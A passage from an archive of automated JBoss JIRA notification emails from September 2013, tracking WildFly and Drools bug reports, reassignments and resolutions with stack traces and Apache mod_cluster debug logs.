>     at sun.net.www.protocol.http.HttpURLConnection.getOutputStream(HttpURLConnection.java:1091) [rt.jar:1.7.0_40-ea]
>     at org.apache.cxf.transport.http.URLConnectionHTTPConduit$URLConnectionWrappedOutputStream.setupWrappedStream(URLConnectionHTTPConduit.java:168)
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.handleHeadersTrustCaching(HTTPConduit.java:1278)
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.onFirstWrite(HTTPConduit.java:1234)
>     at org.apache.cxf.transport.http.URLConnectionHTTPConduit$URLConnectionWrappedOutputStream.onFirstWrite(URLConnectionHTTPConduit.java:195)
>     at org.apache.cxf.io.AbstractWrappedOutputStream.write(AbstractWrappedOutputStream.java:47)
>     at org.apache.cxf.io.AbstractThresholdOutputStream.write(AbstractThresholdOutputStream.java:69)
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.close(HTTPConduit.java:1291)
>     ... 105 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 09:36:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 26 Sep 2013 09:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1085) No audit feature for
	security-realm
In-Reply-To: <JIRA.12485608.1361840867000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485608.1361840867000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485608.1361840867000.2108.1380202563790@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1085?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan reassigned WFLY-1085:
--------------------------------

    Assignee: Darran Lofthouse  (was: Kabir Khan)


I think this can be closed?
                
> No audit feature for security-realm
> -----------------------------------
>
>                 Key: WFLY-1085
>                 URL: https://issues.jboss.org/browse/WFLY-1085
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>         Environment: EAP 6.0.x
>            Reporter: Hisanobu Okuda
>            Assignee: Darran Lofthouse
>
> There is no auditing feature for security-realm. Need the feature like audit provider for security-domain.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 09:36:04 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 26 Sep 2013 09:36:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2125) wildfly8 can't identify
	port-offset
In-Reply-To: <JIRA.12501168.1379906107000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501168.1379906107000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501168.1379906107000.2112.1380202563998@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2125?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned WFLY-2125:
---------------------------------

    Assignee: Tomaz Cerar  (was: jaikiran pai)

    
> wildfly8 can't identify port-offset
> -----------------------------------
>
>                 Key: WFLY-2125
>                 URL: https://issues.jboss.org/browse/WFLY-2125
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha4
>         Environment: wildfly-8.0.0.Alpha4.tar.gz
> jdk-7u25-linux-i586.rpm
> mod_cluster-1.2.0.Final-linux2-x64-ssl.tar.gz
>            Reporter: hui gao
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.Beta1
>
>
> I installed wildfly8 and mod_cluster  reference steps of https://docs.jboss.org/author/display/AS72/AS7+Cluster+Howto
> The cluster contains four servers,start up with domain mode:
> 10.19.222.52:server1/server2
> 10.19.222.53:server3/server4
> 10.19.222.50:apache
> But it only detects server1 and server3 which the port is 8009.
> The port-offset is 100,it can't identify the other port(8109) for server2 and server4.
> Search errorlog of Apache ,the proxy:AJP always acquired connection through initial AJP port(8009) defined in domain.xml.
> [Fri Sep 13 21:07:40 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:40 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:43 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:45 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=2644d861-0ead-352c-ba1e-619f1e1f25e8&Load=100"
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1404): Processing STATUS
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:46 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2366): manager_handler STATUS  OK
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=ea81701b-f847-34a8-9534-0ac5c489af90&Load=100"
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1404): Processing STATUS
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 09:41:02 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 26 Sep 2013 09:41:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1085) No audit feature for
	security-realm
In-Reply-To: <JIRA.12485608.1361840867000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485608.1361840867000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485608.1361840867000.2117.1380202862726@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1085?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved WFLY-1085.
------------------------------------

    Fix Version/s: 8.0.0.Beta1
       Resolution: Done

    
> No audit feature for security-realm
> -----------------------------------
>
>                 Key: WFLY-1085
>                 URL: https://issues.jboss.org/browse/WFLY-1085
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>         Environment: EAP 6.0.x
>            Reporter: Hisanobu Okuda
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> There is no auditing feature for security-realm. Need the feature like audit provider for security-domain.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 09:41:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 09:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-272) KieSession.fireUntilHalt()
 consumes 100% CPU
In-Reply-To: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501361.1380017684000.2126.1380202863176@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-272?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807605#comment-12807605 ] 

RH Bugzilla Integration commented on DROOLS-272:
------------------------------------------------

Edson Tirelli <etirelli at redhat.com> made a comment on [bug 1012140|https://bugzilla.redhat.com/show_bug.cgi?id=1012140]

This is a blocker from engineering perspective.
                
> KieSession.fireUntilHalt() consumes 100% CPU
> --------------------------------------------
>
>                 Key: DROOLS-272
>                 URL: https://issues.jboss.org/browse/DROOLS-272
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40, RHEL 6.4 + OpenJDK 1.7.0_25, Fedora 18 + Java 6.
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> When I run a KieSession.fireUntilHalt(), my application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.
> I've created a small test that shows the problem. The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. After launching the thread, I let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. I then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal. The test project can be found here: https://github.com/DuncanDoyle/DroolsFireUntilHalt/
> Just run 'mvn clean test' on the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 09:41:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 09:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-272) KieSession.fireUntilHalt()
 consumes 100% CPU
In-Reply-To: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501361.1380017684000.2129.1380202863361@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-272?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807606#comment-12807606 ] 

RH Bugzilla Integration commented on DROOLS-272:
------------------------------------------------

Edson Tirelli <etirelli at redhat.com> changed the Status of [bug 1012140|https://bugzilla.redhat.com/show_bug.cgi?id=1012140] from NEW to ASSIGNED
                
> KieSession.fireUntilHalt() consumes 100% CPU
> --------------------------------------------
>
>                 Key: DROOLS-272
>                 URL: https://issues.jboss.org/browse/DROOLS-272
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40, RHEL 6.4 + OpenJDK 1.7.0_25, Fedora 18 + Java 6.
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> When I run a KieSession.fireUntilHalt(), my application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.
> I've created a small test that shows the problem. The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. After launching the thread, I let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. I then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal. The test project can be found here: https://github.com/DuncanDoyle/DroolsFireUntilHalt/
> Just run 'mvn clean test' on the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 09:47:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 09:47:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-272) KieSession.fireUntilHalt()
 consumes 100% CPU
In-Reply-To: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501361.1380017684000.2153.1380203222675@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-272?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807610#comment-12807610 ] 

RH Bugzilla Integration commented on DROOLS-272:
------------------------------------------------

Luk?? Petrovick? <lpetrovi at redhat.com> made a comment on [bug 1012140|https://bugzilla.redhat.com/show_bug.cgi?id=1012140]

+1 from QE.
                
> KieSession.fireUntilHalt() consumes 100% CPU
> --------------------------------------------
>
>                 Key: DROOLS-272
>                 URL: https://issues.jboss.org/browse/DROOLS-272
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40, RHEL 6.4 + OpenJDK 1.7.0_25, Fedora 18 + Java 6.
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> When I run a KieSession.fireUntilHalt(), my application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.
> I've created a small test that shows the problem. The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. After launching the thread, I let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. I then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal. The test project can be found here: https://github.com/DuncanDoyle/DroolsFireUntilHalt/
> Just run 'mvn clean test' on the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 26 09:49:02 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Thu, 26 Sep 2013 09:49:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2126) Servlet Invocation
 WildflySecurityManager Setup
In-Reply-To: <JIRA.12501172.1379924659000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501172.1379924659000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501172.1379924659000.2155.1380203342534@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2126?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Eduardo Martins resolved WFLY-2126.
-----------------------------------

    Resolution: Won't Fix


While the issue is valid, it seems to be just part of a bigger task, which is setup properly security on undertow subsystem, and once that one is worked out, this particular issue may not make sense anymore, thus resolving it with "won't fix"
                
> Servlet Invocation WildflySecurityManager Setup 
> ------------------------------------------------
>
>                 Key: WFLY-2126
>                 URL: https://issues.jboss.org/browse/WFLY-2126
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>
> WildflySecurityManager needs proper setup on the servlet invocation stack, otherwise WildflySecurityManager.isChecking() returns always false, and such check is used by Wildfly modules/extensions to learn wether there is an active security manager or not. The servlet invocation also needs to be done on a privileged action, otherwise security permissions fail to check.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 10:07:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 10:07:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1765) JDBC object store does not
 change LOG_STORE_TYPE attribute
In-Reply-To: <JIRA.12497402.1374839437000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497402.1374839437000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497402.1374839437000.2194.1380204422561@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1765?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807619#comment-12807619 ] 

RH Bugzilla Integration commented on WFLY-1765:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> made a comment on [bug 1002976|https://bugzilla.redhat.com/show_bug.cgi?id=1002976]

Relevant PR:

https://github.com/jbossas/jboss-eap/pull/470
                
> JDBC object store does not change LOG_STORE_TYPE attribute
> ----------------------------------------------------------
>
>                 Key: WFLY-1765
>                 URL: https://issues.jboss.org/browse/WFLY-1765
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>
> The transaction subsystem when set up to JDBC object store should keep a note about it in log-store-type attribute as HornetQ object store does. It seems not to be consistent when one object store does this, but others do not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 10:11:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 10:11:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1765) JDBC object store does not
 change LOG_STORE_TYPE attribute
In-Reply-To: <JIRA.12497402.1374839437000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497402.1374839437000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497402.1374839437000.2209.1380204662528@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1765?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807622#comment-12807622 ] 

RH Bugzilla Integration commented on WFLY-1765:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 1002976|https://bugzilla.redhat.com/show_bug.cgi?id=1002976] from ASSIGNED to POST
                
> JDBC object store does not change LOG_STORE_TYPE attribute
> ----------------------------------------------------------
>
>                 Key: WFLY-1765
>                 URL: https://issues.jboss.org/browse/WFLY-1765
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>
> The transaction subsystem when set up to JDBC object store should keep a note about it in log-store-type attribute as HornetQ object store does. It seems not to be consistent when one object store does this, but others do not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 10:23:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 26 Sep 2013 10:23:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.2224.1380205382637@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan resolved WFLY-2139.
------------------------------

    Resolution: Done

    
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 10:43:02 2013
From: jira-events at lists.jboss.org (Raul Abreu Leite (JIRA))
Date: Thu, 26 Sep 2013 10:43:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2165) Error Weld when starting
 WildFly 8 with Spring 3 - NullPointerException
In-Reply-To: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499612.1377777774000.2254.1380206582687@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2165?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807633#comment-12807633 ] 

Raul Abreu Leite commented on WFLY-2165:
----------------------------------------

Hello Matus Abaffy.

Sorry for my delay. Unfortunately I abandoned this project temporarily. But I can help in any way possible.

I can attach the war and send the link of the source code from github. How do I do this in private?

To reproduce the error, just start the server containing the war (in standalone/deployments, in my case). The server will not start and shows the message NPE.

If you need more details, you can ask me.
                
> Error Weld when starting WildFly 8 with Spring 3 - NullPointerException
> -----------------------------------------------------------------------
>
>                 Key: WFLY-2165
>                 URL: https://issues.jboss.org/browse/WFLY-2165
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>            Reporter: Raul Abreu Leite
>            Assignee: Matus Abaffy
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> When I update my application, from Jboss-as 7.1.1.Final to Wildfly 8.0.0.Alpha4, there was an error that I can not fix.
> {code:java}
> 19:57:20,955 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: Failed to start service
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>     at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Caused by: java.lang.NullPointerException
>     at org.jboss.weld.injection.InjectionPointFactory.getParameterInjectionPoints(InjectionPointFactory.java:245)
>     at org.jboss.weld.injection.AbstractCallableInjectionPoint.<init>(AbstractCallableInjectionPoint.java:49)
>     at org.jboss.weld.injection.ConstructorInjectionPoint.<init>(ConstructorInjectionPoint.java:59)
>     at org.jboss.weld.injection.InjectionPointFactory.createConstructorInjectionPoint(InjectionPointFactory.java:173)
>     at org.jboss.weld.injection.producer.DefaultInstantiator.<init>(DefaultInstantiator.java:46)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.initInstantiator(BasicInjectionTarget.java:144)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:72)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
>     at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     ... 3 more
> 19:57:21,018 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "cineserver.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> 19:57:21,018 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "cineserver.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"cineserver.war\".component.\"org.springframework.web.context.request.async.StandardServletAsyncWebRequest\".WeldInstantiator: Failed to start service
>     Caused by: java.lang.NullPointerException"}}
> {code} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 10:47:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 26 Sep 2013 10:47:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-315) Avoid running out of threads
 when connecting to the DC from a slave to pull down missing data
In-Reply-To: <JIRA.12488204.1364406845000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488204.1364406845000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488204.1364406845000.2257.1380206822560@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-315?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan updated WFLY-315:
----------------------------

    Description: 
For WFLY-259 when a slave connects to the DC to pull down missing data, it does this by either getting a lock for the DC, or by joining the permit of the existing DC lock if the request to update a slave's server-config was executed as part of a composite obtaining a lock on the DC.

The way it works at present there is a thread per slave which is blocked until the transaction completes. The DC threads are a finite resource, so a large number of slaves trying to pull down dats will cause deadlock

  was:
For AS7-6808 when a slave connects to the DC to pull down missing data, it does this by either getting a lock for the DC, or by joining the permit of the existing DC lock if the request to update a slave's server-config was executed as part of a composite obtaining a lock on the DC.

The way it works at present there is a thread per slave which is blocked until the transaction completes. The DC threads are a finite resource, so a large number of slaves trying to pull down dats will cause deadlock


    
> Avoid running out of threads when connecting to the DC from a slave to pull down missing data
> ---------------------------------------------------------------------------------------------
>
>                 Key: WFLY-315
>                 URL: https://issues.jboss.org/browse/WFLY-315
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> For WFLY-259 when a slave connects to the DC to pull down missing data, it does this by either getting a lock for the DC, or by joining the permit of the existing DC lock if the request to update a slave's server-config was executed as part of a composite obtaining a lock on the DC.
> The way it works at present there is a thread per slave which is blocked until the transaction completes. The DC threads are a finite resource, so a large number of slaves trying to pull down dats will cause deadlock

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 11:40:02 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Thu, 26 Sep 2013 11:40:02 -0400 (EDT)
